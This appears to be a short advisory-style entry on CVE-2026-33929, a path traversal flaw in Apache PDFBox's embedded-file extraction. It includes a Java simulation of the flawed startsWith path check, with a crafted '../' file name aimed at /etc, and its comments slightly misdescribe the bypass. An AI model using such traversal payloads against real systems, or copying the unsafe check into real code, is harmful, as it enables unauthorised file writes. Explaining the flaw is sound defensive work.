CVE-2026-33929 Apache PDFBox 路径穿越漏洞

// Conceptual PoC demonstrating the flawed path validation logic // This simulates the behavior in the vulnerable ExtractEmbeddedFiles example public class VulnerablePathCheck { public static void main(String[] args) { String allowedDir = "/home/ABC"; // Malicious input inside the PDF that bypasses the weak check // The vulnerability allows any path starting with /home/ABC, e.g. /home/ABCDEF String maliciousFileName = "ABCDEF/../../../../etc/malicious_config"; // Flawed validation logic: Checks if output path starts with allowedDir // but ignores the path separator context effectively allowing /home/ABCDEF String outputPath = allowedDir + "/" + maliciousFileName; if (outputPath.startsWith(allowedDir)) { // Vulnerable condition met System.out.println("[+] Validation Passed. Writing to: " + outputPath); // Exploit: File is written outside the intended restricted boundary } else { System.out.println("[-] Access Denied."); } } }